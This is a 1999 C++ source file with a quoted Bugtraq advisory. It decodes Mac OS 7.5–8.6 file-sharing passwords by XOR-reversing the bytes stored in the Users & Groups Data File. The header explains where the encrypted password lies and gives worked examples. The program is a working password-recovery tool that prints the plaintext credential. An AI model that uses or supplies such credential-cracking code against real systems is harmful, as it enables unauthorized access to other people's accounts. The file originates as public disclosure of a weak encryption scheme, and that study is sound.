/*
 NOTE: This is outdated!
 Please check the main software page at http://happiness.dhs.org/software for the
 latest release!
 
 -NWP 7/18/99
 
 macfspwd.c
 Written by Nate Pierce
 luphus@iastate.edu
 http://happiness.dhs.org
 July 14, 1999
 
 You are free to use/distribute/modify this code, but please
 give credit where it is due, and do let me know if you do
 something spiffy. Thanks!
 
 Algorithm taken from:
 http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=519
 I have tested this on 8.6 and it works fine as well.
 
 Compiled quite peachily on linux 2.2.10 with:
 g++ -o macfspwd macfspwd.c
 
 Run example (with debug on):
 
 [user@server user]$ ./macfspwd 000406180D0A190B
 Original string: 00 04 06 18 0d 0a 19 0b 
 1st XOR string:  00 00 04 06 18 0d 0a 19 
 2nd XOR string:  73 70 63 67 74 70 72 6b 
 Password is: stayaway
 
 ----- from the url above -----
 The encryption algorithm in MacOS system is simple and the password can be easily
 decoded.

 Password is stored in Users & Groups Data File in Preferences folder. Offset is different on
 each system and depends on Users & Groups configuration, but it always lie after owner's
 username. It's not so difficult to find it using a hex editor, even if we don't know owner's
 username.

 Here are some examples of encrypted passwords:
 00 04 06 18 0D 0A 19 0B = stayaway
 0A 1F 10 1B 00 07 75 1E = yellow
 1C 1B 16 14 12 62 10 7B = owner
 07 02 13 1A 1E 0F 1A 14 = turnpage
 27 25 33 27 27 39 24 7E = Trustno1

 AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

 where:
 AA BB CC DD EE FF GG HH - encrypted password (hex)
 aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

 aa=AA XOR 73H
 bb=BB XOR AA XOR 70H
 cc=CC XOR BB XOR 63H
 dd=DD XOR CC XOR 67H
 ee=EE XOR DD XOR 74H
 ff=FF XOR EE XOR 70H
 gg=GG XOR FF XOR 72H
 hh=HH XOR GG XOR 6BH

 An example:
 Let's take OO 04 06 18 0D 0A 19 0B

 00H XOR 73H = 73H = s
 04H XOR 00H = 04H; 04H XOR 70H = 74H = t
 06H XOR 04H = 02H; O2H XOR 63H = 61H = a
 18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
 0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
 0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
 19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
 0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

 tested on:
 MacOS 7.5.3, 7.5.5, 8.1, 8.5. 
 
 copied verbatim from a post to bugtraq by Dawid adix Adamski <adixx@FRIKO4.ONET.PL> on
 July 10, 1999
 ----- snip -----
*/

#include<iostream.h>
#include<iomanip.h>
#include<fstream.h>
#include<string.h>

/* comment this out if don't want to see the extra info */
#define DEBUG

/* I think the max password length for file sharing is 8 characters */
#define PWLEN 8

int hexdig(char q); 
/* returns decimal equiv if q is 0-9, a-f, or A-F */

int hexint(char p,char q);
/* returns value of 2 digits spliced together - hexint(15,15) will return 255 */

int main(int argc, char *argv[]){
  int s1[10],s2[10],s3[10],i;
  char pwd[PWLEN+1];
  
/* first string - try 000406180D0A190B */
  if(argc>1){
    for(i=0;i<strlen(argv[argc-1]);i+=2){
      if(hexdig(argv[argc-1][i])&&hexdig(argv[argc-1][i+1]))s1[i/2]=hexint(argv[argc-1][i],argv[argc-1][i+1]);
      else{
        cout<<"\nError: last argument should be a 16 digit hex number! (no spaces please)\n";
        return 1;
      }
    }
  }

/* chunk in 2nd XOR string - based on the string from the file*/
  s2[0]=0x0;
  for(i=0;i<PWLEN-1;i++){
    s2[i+1]=s1[i];
  }
  
/* chunk in final XOR string - this is constant */
  s3[0]=0x73;
  s3[1]=0x70;
  s3[2]=0x63;
  s3[3]=0x67;
  s3[4]=0x74;
  s3[5]=0x70;
  s3[6]=0x72;
  s3[7]=0x6B;


#ifdef DEBUG
  cout<<"Original string: ";
  for(i=0;i<PWLEN;i++){
    if(s1[i]<0x10)cout<<"0";
    cout<<hex<<s1[i]<<" ";
  }
  cout<<"\n1st XOR string:  ";
  cout<<"00 ";
  for(i=0;i<PWLEN-1;i++){
    if(s2[i+1]<0x10)cout<<"0";
    cout<<hex<<s2[i+1]<<" ";
  }
  cout<<"\n2nd XOR string:  ";
  for(i=0;i<PWLEN;i++){
    if(s3[i]<0x10)cout<<"0";
    cout<<hex<<s3[i]<<" ";
  }
  cout<<endl;
#endif

  cout<<"Password is: ";
  for(i=0;i<PWLEN;i++)pwd[i]=s1[i]^s2[i]^s3[i];
  pwd[PWLEN]=0x0;
  cout<<pwd<<endl;

  return 0;
}  

int hexdig(char q){
  if(q>47 && q<58)return 48;
  if(q>64 && q<71)return 55;
  if(q>96 && q<103)return 87;
  return 0;
}

int hexint(char p,char q){
  return 16*(p-hexdig(p))+(q-hexdig(q));
}
